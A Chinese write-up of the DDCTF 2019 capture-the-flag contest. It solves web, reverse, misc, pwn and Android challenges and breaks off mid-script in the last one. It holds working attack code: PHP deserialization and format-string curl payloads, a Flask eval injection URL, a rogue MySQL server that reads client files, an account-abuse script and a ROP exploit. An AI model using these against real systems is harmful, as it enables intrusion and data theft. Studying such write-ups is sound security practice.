CTF 安全

DDCTF 2019 WriteUp

前言

一年一度的 DDCTF 又来了。来,上个车。滴,学生卡~

DDCTF 由 滴滴出行信息安全部 主办,属于个人闯关类型 CTF 比赛

比赛入口地址:https://ddctf.didichuxing.com/

这次比赛共 5381 人参加,个人解出 18 道题,最终排名第 2

0x01 Web - 滴~

题目:http://117.51.150.246

网上能找到某春秋原题,这题好像有改动过吧。

访问题目链接,自动跳转到 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

参数 jpg,两次 base64 decode,再 hex2bin,得到 flag.jpg。所以这里可能存在任意读取。

那么我们可以尝试构造参数 TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,来读取 index.php

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */
?>

访问源代码里的链接,看到一篇讲“命令 echo”的文章,不过这与本题无关,关键点在这名博主的另一篇文章“vim 异常退出 swp文件提示”。这篇文章提到 .practice.txt.swp 文件。

尝试读取 .practice.txt.swp 文件,然而并不存在。

后来读取 practice.txt.swp 成功读到内容:ZjFhZyFkZGN0Zi5waHA=base64 decode 后得到 f1ag!ddctf.php

由于读取文件字符只允许 a-zA-Z0-9.,而 config 会被替换为 !。所以读取 f1agconfigddctf.php 相当于读取 f1ag!ddctf.php。那么可以读取到 f1ag!ddctf.php 文件的内容。

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}
?>

这里的绕过很入门,就不多说了,直接贴上 Payload

Payload: http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

好吧,说实话这道题,真的脑洞有点大。

Flag: DDCTF{436f6e67726174756c6174696f6e73}

0x02 Web - WEB 签到题

题目:http://117.51.158.44/index.php

index.js 里看到 /app/Auth.php 请求可以带上一个请求头 didictf_username

那么带上一个请求头 didictf_username: admin 去访问,可以得到一个文件的路径 /app/fL2XID2i0Cdh.php

访问 /app/fL2XID2i0Cdh.php 拿到另外两个文件 /app/Application.php/app/Session.php 的源代码。

/app/Application.php

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

/app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );
    }
}

$ddctf = new Session();
$ddctf->index();

审计源代码。

session_read() 里,$data = sprintf($data,$v); 这一行,假如 $_POST["nickname"]%s,那么就能泄露出 $this->eancrykey

构造 Payload 如下:

curl -H 'didictf_username: admin' --cookie 'ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223853b51fc9cd327af530a6c09e11259d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22223.104.64.208%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A11%3A%22curl%2F7.61.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D97ce8958578b78e4d91ca007527dfa53' -d 'nickname=%s' 'http://117.51.158.44/app/Session.php'

得到 Key: EzblrbNS

此时可以构造一个恶意 Session,让 session_read() 里的 unserialize($session); 反序列化,恶意反序列化对象 Application 销毁时触发 __destruct(),读取 $path 路径文件的内容。

最终 Payload 如下:

curl -H 'didictf_username: admin' --cookie 'ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525' 'http://117.51.158.44/app/Session.php'
Flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

0x03 Web - Upload-IMG

题目:http://117.51.148.166/upload.php

user:dd@ctf
pass:DD@ctf#000

根据题目所提供的用户名和密码登录页面,显示出一个文件上传页面。

只能上传图片文件,提示 上传的图片源代码中未包含指定字符串:phpinfo(),而且图片在服务端经过 gd 库处理。

显然,我们需要构造一张图片,经过服务端 gd 库处理后的文件包含字符串 phpinfo()

网上查了一下资料,找到 upload-labs 里有相同漏洞的题目。参考链接

先上传一张 jpg 图片,然后下载经过服务端处理的图片。

修改 jpg_payload.php,添加需要插入的字符串 phpinfo()

使用 php jpg_payload.php 1.jpg 命令生成新图片,然后上传新图片,得到 Flag

Flag: DDCTF{B3s7_7ry_php1nf0}

0x04 Web - homebrew event loop

题目:Flag格式:DDCTF{.....},也就是请手动包裹上DDCTF{}
http://116.85.48.107:5002/d5af31f66147e657

有个 View source code 功能,可以直接看源代码。

看到作者名字 garzon 师傅!先膜一波!还记得上一年区块链那题也是师傅出的。

花了几个小时进行代码审计,才找到漏洞。跟区块链那题一样,想得脑壳疼,不过解出来很舒服。

Event 都被放到一个队列中,按 FIFO 的顺序处理。

eval 那里可以用 # 注释掉后面的部分,实现有条件的任意函数执行。我们可以调用 trigger_event 往队列里添加新的 Event

如果在触发 RollBackException 前,触发 get_flag_handler 事件的处理,那么 Flag 就被写到 Session['log'] 里,直接解密 Session 就能得到 Flag

贴上 Payload

http://116.85.48.107:5002/d5af31f66147e657/?action:trigger_event%23;action:buy;50%23action:get_flag;1
Flag: DDCTF{3v41_3v3nt_1O0p_aNd_fLASK_cOOk1e}

0x05 Web - 大吉大利,今晚吃鸡~

题目:http://117.51.147.155:5050/index.html#/login
注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

本题不需要使用扫描器

这题并不难。整数溢出购买入场券,已经遇到好几次这种漏洞了。

但是需要淘汰 100 名选手。想了一下,想出来一种方法:可以不断注册账号,然后购买入场卷给特定账号淘汰。

后来发现每次得到的入场卷都是随机的,越到后面越难淘汰,脚本跑了一个半小时才淘汰完。

淘汰脚本如下:(看运气。没淘汰完就继续运行。)

import requests
import random
import string
import threading
from time import sleep

def randStr(length):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))


class MyThread(threading.Thread):

    def __init__(self,func,args=()):
        super(MyThread,self).__init__()
        self.func = func
        self.args = args

    def run(self):
        self.result = self.func(*self.args)

    def get_result(self):
        try:
            return self.result
        except Exception:
            return None

def attack(count,un,pw):
    try:
        s=requests.session()
        tun=randStr(8)
        tpw=randStr(8)
        s.get('http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' % (tun, tpw))
        r=s.get('http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967298')
        bill=r.text.split('bill_id":"')[1].split('"')[0]
        r=s.get('http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s' % bill)
        id=r.text.split('your_id":')[1].split(',')[0]
        ticket=r.text.split('your_ticket":"')[1].split('"')[0]
        print id,ticket
        s.get('http://117.51.147.155:5050/ctf/api/login?name=%s&password=%s' % (un, pw))
        r=s.get('http://117.51.147.155:5050/ctf/api/remove_robot?ticket=%s&id=%s' % (ticket, id))
    except:
        pass

s=requests.session()
un='zYhaRgj4'
pw='89sl0mQt'
print (un, pw)

for i in range(50):
    for j in range(10):
        print i,j
        ts=[]
        t=MyThread(attack,args=(i*5+j,un,pw))
        ts.append(t)
        t.start()
        sleep(1)

最后用淘汰者的账号访问 /ctf/api/get_flag,就可以得到 Flag

Flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}

0x06 Web - mysql弱口令

题目:http://117.51.147.155:5000/index.html#/scan
部署agent.py再进行扫描哦~

本题不需要使用扫描器

限制了每秒2-3次访问

这题弄了很久,还是没有思路。后来找到一个知识点:如何利用MySQL LOCAL INFILE读取客户端文件

这个 LOAD DATA LOCAL 命令以前用过,没想到有这种漏洞。看了一下这篇文章提到,客户端竟然不需要校验是否发送过这条命令,就十分信任服务端,将本地文件发往服务端。

题目提供的 agent.py 其实是为了检测客户端本地是否开启了 mysql 服务,只需要往回发送字符串 mysqld 就能绕过检测。

在网上找到该漏洞点的 POC,修改一下就能使用。最后,在历史文件 ~/.mysql_history 里找到了 Flag

附上 POC

import socket
from time import sleep

filename='~/.mysql_history'

a='4a0000000a352e352e353300050000007b212f663926524900fff72102000f8015000000000000000000005963644f3d2336265b796f41006d7973716c5f6e61746976655f70617373776f726400'.decode('hex')
b='0100000200'.decode('hex')
c=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename

HOST = '0.0.0.0'
PORT = 3306

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(5)

print 'Server start at: %s:%s' %(HOST, PORT)
print 'wait for connection...'

while True:
    conn, addr = s.accept()
    print 'Connected by ', addr
    conn.send(a)
    print conn.recv(1024).encode('hex')
    conn.send(b)
    print conn.recv(1024).encode('hex')
    conn.send(c)
    print conn.recv(1024)[4:]

用脚本在本机监听端口,开放一个恶意伪造的 MySQL 服务端,然后网页上填上本机 IP端口号 进行扫描,本机就能接受到客户端本地的文件。

Flag: DDCTF{0b5d05d80cceb4b85c8243c00b62a7cd}

0x07 Reverse - Windows Reverse 1

题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交

查壳,显示 UPX ,用工具脱壳。上 IDA 分析。

输入字符串在这个函数里逐字符进行置换,置换表开头为 byte_402FF8

置换表如上

置换结果与 DDCTF{reverseME} 进行比较。

直接贴逆置换的代码。

data='FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E7D7C7B7A797877767574737271706F6E6D6C6B6A696867666564636261605F5E5D5C5B5A595857565554535251504F4E4D4C4B4A494847464544434241403F3E3D3C3B3A393837363534333231302F2E2D2C2B2A29282726252423222120'.decode('hex')
enc='DDCTF{reverseME}'
flag=''
for i in enc:
    flag+=chr(data.index(i))
print 'DDCTF{%s}' % flag
Flag: DDCTF{ZZ[JX#,9(9,+9QY!}

0x08 Reverse - Windows Reverse 2

题目:windows逆向,请找出正确的flag. 包裹上DDCTF{...}提交

查壳,显示 ASPack ,用工具脱壳。上 IDA 分析。

sub_11D11F0 函数判断输入的字符串是否在 0-9,A-F 的范围内,并且长度是否为偶数。

sub_11D1240 函数是一个 hex2bin 的转换。

sub_11D1000 函数是一个 base64 编码的过程,编码结果再异或 0x76

编码表为 byte_11D3020

贴上解密脚本:

enc='reverse+'
dec1=''
table='373435323330313E3F3C3D3A3B383926272425222320212E2F2C171415121310111E1F1C1D1A1B181906070405020300010E0F0C46474445424340414E4F5D59'.decode('hex')
dec2=[]
flag=''

for i in enc:
    dec1+=chr(ord(i)^0x76)
for i in dec1:
    dec2.append(table.index(i))
for i in range(2):
    a=dec2[4*i+0]
    b=dec2[4*i+1]
    c=dec2[4*i+2]
    d=dec2[4*i+3]
    flag+=chr((a<<2)|(b>>4))
    flag+=chr(((b<<4)&0xff)|(c>>2))
    flag+=chr(((c<<6)&0xff)|d)
flag=flag.encode('hex').upper()
print 'DDCTF{%s}' % flag
Flag: DDCTF{ADEBDEAEC7BE}

0x09 Reverse - Confused

题目:confused, need your flag.

一个 CrackMe 小程序。

直接提取 /confused.app/Contents/MacOS/xia0CrackmeIDA 进行分析。

找到 Check 函数 -[ViewController checkCode:]

输入内容截取掉 DDCTF{} 大括号里面的部分,再交由 sub_1000011D0 进一步判断。

跟进去分析,其实这里面实现了指令翻译的功能。

初始化 struct

逐条指令翻译:

所有指令:

找到对应指令,先手工跟着翻译一下,很快就能直接写出解密脚本了,因为算法不难。

ins='F01066000000F8F230F6C1F01063000000F8F231F6B6F0106A000000F8F232F6ABF0106A000000F8F233F6A0F0106D000000F8F234F695F01057000000F8F235F68AF0106D000000F8F236F67FF01073000000F8F237F674F01045000000F8F238F669F0106D000000F8F239F65EF01072000000F8F23AF653F01052000000F8F23BF648F01066000000F8F23CF63DF01063000000F8F23DF632F01044000000F8F23EF627F0106A000000F8F23FF61CF01079000000F8F240F611F01065000000F8F241F606'.decode('hex')
flag=''
for i in range(len(ins)/11):
    tmp=ins[11*i:11*(i+1)]
    k=ord(tmp[2])
    if k in range(0x41,0x5b):
        k=(k-0x41+2)%26+0x41
    if k in range(0x61,0x7b):
        k=(k-0x61+2)%26+0x61
    flag+=chr(k)
print 'DDCTF{%s}' % flag

直接出 Flag

Flag: DDCTF{helloYouGotTheFlag}

0x0A Reverse - obfuscating macros

题目:提交格式:DDCTF{最短的正确输入},使得程序输出WELL DONE!

这题一开始手工分析,发现做了 流程平坦化 处理,程序不长,还是可以 F5 分析一下的。

两个 Check 函数,先分析前面那个 sub_4069D6 函数。

F5 里看到有几行比较长的代码。

if ( (std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(a1) & 1) != 0 )
v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '/'
  && *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= '9';
v5 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) > '@'
  && *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, v15) <= 'F';

初步判断会检测输入长度的奇偶性,而且只允许 0-9A-F。在返回值处下断点,尝试了一下,推测应该没错,只允许输入 hex,而且长度为偶数。

sub_4013E6 函数里的 F5 代码要长很多,一时没分析出来。后来直接上 pin 跑,竟然能跑出结果,可是试了半天发现结果是错的(其实与正确结果很相近了,前面大部分都一样的,就差最后面的不同)。

因为 pin 能跑出结果,所以猜测 sub_4013E6 里大概是逐字节判断输入。

这题一时没有思路,后来再次分析这题,直接比较 sub_4013E6sub_4069D6 的不同点,在不同点处下断点慢慢调,最后找到跟之前跑 pin 十分相近的结果,那么这里应该就是关键点了。

这里的 v25 = 0x4082C0*v26 是每一轮赋的不同值(这个值固定写在了代码里)。

第一行 xor 后的值就是我们每一轮需要输入的值。

第二行是根据第一行 xor 后的值判断 v25 是否需要 +1

直接下断点动态,读每一轮的 *v26 就能得到 Flag 了。

Flag: DDCTF{79406C61E5EEF319CECEE2ED8498}

0x0B Misc - 真-签到题

题目:请认真阅读第一条公告(本页面顶部导航栏中有链接)。

好好看看公告~

Flag 就在公告里。

Flag: DDCTF{return DDCTF::get(2019)->flagOf(0);}

0x0C Misc - 北京地铁

题目:Color Threshold

提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊...

根据题目提示,查隐写,在 LSB 里找到一串 base64 编码的字符串,应该是 AES 的密文。

进一步根据 Color Threshold 提示,用 PhotoShop 调整图片的阀值,找到 北京地铁线路图 上某一站点的颜色不一样,这个站点的 小写拼音字母 为加密密钥。

from Crypto.Cipher import AES
from base64 import *

cipher=b64decode('7SsQWmZ524i/yVWoMeAIJA==')
key='weigongcun'.ljust(16,'\x00')
mode=AES.MODE_ECB

c=AES.new(key, mode)
print c.decrypt(cipher)
Flag: DDCTF{Q*2!x@B0}

0x0D Misc - MulTzor

题目:原文为英语,请破解

12ce98ec4c4d79e38bf9454a71fecafa5a196ce58fb5795771ea87f41c
......此处省略N个字符......
1055c2abcdaa30a0b2bbddbf45f097ebb8ca65d0f2dbfdca40c0f7ebc97

一开始没有思路,Mul 应该是 Multi 的意思,Tzor 觉得是跟 Xor 有关系。

然后就往 Xor 的方向去尝试,不过手工写脚本并不好使,而且如果有密钥也很难爆出来。

后来找到一个叫 featherduster 的密码学分析工具,可以直接分析出明文和加密类型:multi_byte_xor

工具分析得到以下可能正确的 Flag

DDDTF{b5f49e210662301ac0f6f3a6527106f1z
CDCTF{b5f49e210662401ac0f6f3a6526106a1}
DDETF{b5f49e210662301ac0f6`3a6526106f1}

经过比对和尝试,得到正确的 Flag

Flag: DDCTF{b5f49e210662301ac0f6f3a6526106f1}

0x0E Misc - [PWN] strike

题目:nc 116.85.48.105 5005

checksec 看一下开了什么保护

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开了 NX部分RELRO

那么看一下程序有什么功能。

这里输入想要 read 的长度 nbytesnbytessigned int 类型,所以可以设置为 -1,导致可以无限长度的 read。同时 &buf 位于栈上,程序没有开启 canary 防护,所以可以任意构造 ROP 链。

这里 &buf 位于栈上,所以可以 fprintf 打印栈上内容,导致栈上地址泄露,可以泄露计算出 libc 的基地址。

基本流程掌握了,然而这题有个坑点在这里。

retn 前面有一行 lea esp, [ecx-4],会根据 ecx 改写 esp ,那么需要通过上面的 pop ecx 来控制 ecx 间接地控制 esp。这里需要提前算好 ecx 的值和偏移,插入到栈上。

POC 如下:

from pwn import *

io=remote('116.85.48.105', 5005)
context.log_level='debug'

payload='a'*0x28
io.sendafter('username: ',payload)
io.recvuntil('a'*0x28)
stack_addr=u32(io.recv(4))
libc_addr=u32(io.recv(4))-0x15-0x65450
gadget_addr=libc_addr+0x3a80c

io.sendafter('password: ',str(-1))

payload='a'*0x44+p64(stack_addr+0x14)+p64(0)+p64(0)+p64(gadget_addr)
io.sendafter('): ',payload)

io.interactive()
Flag: DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

0x0F Misc - Wireshark

题目:简单的流量分析

流量分析。关键点在 HTTP 里。

这里上传了两张图片,可以导出来得到 upload.pnginteresting.png

upload.pngMacOSKali 下都无法预览,想到应该是图片尺寸被修改,根据 PNG 头部的 CRC 爆破图片尺寸,图片尺寸修复脚本如下。

import os
import binascii
import struct

misc = open("upload.png","rb").read()

for i in range(1024):
    data = misc[12:20] + struct.pack('>i',i) + misc[24:29]
    crc32 = binascii.crc32(data) & 0xffffffff
    if crc32 == struct.unpack('>i',misc[29:33])[0]:
        print i
        data = misc[0:20] + struct.pack('>i',i) + misc[24:]
        open('upload_repaire.png','wb').write(data)

看到有个 Key: xS8niJM7 ,结合流量包里访问过的 在线图片隐写网址 ,可以在线解密出 interesting.png 里隐写的内容。

Flag: DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}

0x10 Misc - 联盟决策大会

题目:为了共同的利益,【组织1】和【组织2】成立了联盟,并遵守共同约定的协议。为了让协议的制定和修改更加公
平,组织1和组织2共同决定:当三位以上【组织1】成员和三位以上【组织2】成员同意时,才可以制定或修改协
议。为了实现这一功能,联盟的印章被锁在密码保险柜中,而保险柜的密码只通过Shamir秘密分享方案分享给【组织
1】和【组织2】的每一位成员。
现在,【组织1】的【成员1】、【成员2】、【成员4】,【组织2】的【成员3】、【成员4】、【成员5】一致同
意制定新的协议。请还原出这套方案的设计思路,按照这套方案的思路恢复出保险柜密码,取出印章吧!

以下为使用到的7个十六进制常数:

p =
C45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627
E3ED40FBDE968251984513ACC2B627B4A483A6533
组织1成员1 =
729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB17
77357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E
组织1成员2 =
478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C
24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6
组织1成员4 =
BFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB
5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D
组织2成员3 =
9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A
0A494BE36CEF44ADE376317E7A0C70633E3091A61
组织2成员4 =
79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393F
C7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8
组织2成员5 =
2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472
444A3CE2368E5A6EBF96603B3CD10EAE858150510

根据题目提示,在维基百科上可以找到 Shamir算法 的解密脚本。

使用 组织1成员1 & 组织1成员2 & 组织1成员4 & p,可以解密得到 组织1密文

使用 组织2成员3 & 组织2成员4 & 组织2成员5 & p,可以解密得到 组织2密文

刚开始想直接将两者进行 xor 处理,应该就能得到明文,其实这样行不通。

后来发现将两者拿去进行解密,就可以得到明文了。

附上解密脚本:

from __future__ import division
from __future__ import print_function

import random
import functools

_PRIME = 2**127 - 1

_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    print (x_s)
    return _lagrange_interpolate(0, x_s, y_s, prime)

def main():
    p=0xC45467BBF4C87D781F903249243DF8EE868EBF7B090203D2AB0EDA8EA48719ECE9B914F9F5D0795C23BF627E3ED40FBDE968251984513ACC2B627B4A483A6533
    a1=(1,0x729FB38DB9E561487DCE6BC4FB18F4C7E1797E6B052AFAAF56B5C189D847EAFC4F29B4EB86F6E678E0EDB1777357A0A33D24D3301FC9956FFBEA5EA6B6A3D50E)
    a2=(2,0x478B973CC7111CD31547FC1BD1B2AAD19522420979200EBA772DECC1E2CFFCAE34771C49B5821E9C0DDED7C24879484234C8BE8A0B607D8F7AF0AAAC7C7F19C6)
    a4=(4,0xBFCFBAD74A23B3CC14AF1736C790A7BC11CD08141FB805BCD9227A6E9109A83924ADEEDBC343464D42663AB5087AE26444A1E42B688A8ADCD7CF2BA7F75CD89D)
    b3=(3,0x9D3D3DBDDA2445D0FE8C6DFBB84C2C30947029E912D7FB183C425C645A85041419B89E25DD8492826BD709A0A494BE36CEF44ADE376317E7A0C70633E3091A61)
    b4=(4,0x79F9F4454E84F32535AA25B8988C77283E4ECF72795014286707982E57E46004B946E42FB4BE9D22697393FC7A6C33A27CE0D8BFC990A494C12934D61D8A2BA8)
    b5=(5,0x2A074DA35B3111F1B593F869093E5D5548CCBB8C0ADA0EBBA936733A21C513ECF36B83B7119A6F5BEC6F472444A3CE2368E5A6EBF96603B3CD10EAE858150510)
    shares=[a1,a2,a4,b3,b4,b5]
    r1=recover_secret(shares[:3],p)
    r2=recover_secret(shares[-3:],p)
    print(hex(r1))
    print(hex(r2))
    r3=r1^r2
    print(hex(r3))
    c1=(1,r1)
    c2=(2,r2)
    shares=[c1,c2]
    r4=recover_secret(shares,p)
    print(hex(r4))
    print(hex(r4)[2:-1].decode('hex'))

if __name__ == '__main__':
    main()
Flag: DDCTF{vF22holF5hl5q0WmrFZ5kZ1DBdWOGObk}

0x11 Android - Breaking LEM

题目:In this question, a Lorenz encryption machine is explained and a string is encrypted using the key. Please reverse the app and find the key of the encrypting algorithm, and input the string in the Android app. A Lorenz encryption machine uses 12 wheels, each with 23 ~ 61 lowered or raised cams, to randomly generate 12 binary numbers (chi1~chi5, mu37, mu61, psi1~psi5) with the respective length of 23 ~ 61 bits. For example, one random number (chi5) is of length 23: 0101 0000 0111 0101 0101 011. ( FYI: In the mechanical cipher, the lowered cam means 0 and the raised cam means 1. ) Then use the key e.g. XYZ to form the flag in the style of DDCTF{XYZ}

提示:The format of the flag is DDCTF{ddctf-android-lorenz-ZFXXXXXX}, where XXXXXX represents a 6-char string comprised of A-Z and 0-9. MAX Attempts Limit is 5

看题目应该是 Lorenz Cipher,上维基百科恶补一番。

反编译 APK,找到关键函数在 libhello-libs.so 文件里的:

Java_com_didictf_guesskey2019lorenz_MainActivity_stringFromJNI(int a1);

结合动态调试,分析出输入要以 ddctf-android-lorenz- 开头,里面会去除这个开头,然后判断剩下的字符串是否在 A-Z,1-6 范围内,然后拿去做 Lorenz Encrypt,最后加密结果做 5轮sha256 计算,比较结果是否与设定值相同。

LEM 初始化时会设置 Pinsettings,也就是轮子的初始值,然后每次转轮生成固定的密钥,有点像 srandrand 产生伪随机数的过程。然后用户输入还经过 TelePrinterBaudot 编码转换。生成的密钥与用户输入进行 xor 处理。完成一次加密需要进行 10轮 这个步骤。

根据题目提示,需要交给 LEM 做加密的字符串为 ZFXXXXXXX 代表的字符在 A-Z,1-6 范围内)。

为了省事,在此处下断点读 v4,读 8*10=80 次,把需要用到的密钥读出来。

已知明文前面两字节为 ZF,需要爆破后面6字节。

写出爆破脚本如下:

from hashlib import sha256

target='4b27bd0beaa967e3625ff6f8b8ecf76c5beaa3bda284ba91967a3a5e387b0fa7'
table='ABCDEFGHIJKLMNOPQRSTUVWXYZ123456'

